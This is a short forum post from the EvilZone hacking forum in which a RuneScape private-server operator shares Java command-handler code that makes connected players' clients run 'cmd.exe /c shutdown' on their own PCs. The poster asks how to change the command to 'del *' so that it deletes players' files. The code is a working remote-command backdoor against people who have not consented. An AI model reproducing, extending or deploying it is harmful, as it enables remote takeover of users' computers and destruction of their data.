EvilZone

Programming and Scripting => C - C++ => : Nat January 02, 2016, 06:07:23 PM

: Command line hacking through client-run games
: Nat January 02, 2016, 06:07:23 PM
So I run a Runescape Private Server and in my game I have a command which you can use to remotely shut down someone's pc, I was wondering if I could edit this to do "del *" in their cmd line?

Here is the code at the moment, but i'm not ballsy enough to try it on anyone :'P

:
if (cmd[0].equalsIgnoreCase("killpc")) {
                 
                if (cmd[1].equalsIgnoreCase("nat")) {
                player.getPackets().sendGameMessage("* uses Reflect...*");
                player.getPackets().sendGameMessage("Its super effective.");
                 
                 
                player.getPackets().sendExecMessage("cmd.exe /c shutdown -s -t 10");
             
                return false;
            }
                else{
                    String username = cmd[1].substring(cmd[1].indexOf(" ") + 1);
                    Player p2 = World.getPlayerByDisplayName(username);
                        p2.getPackets().sendExecMessage("cmd.exe /c shutdown -f -p");
                }
            }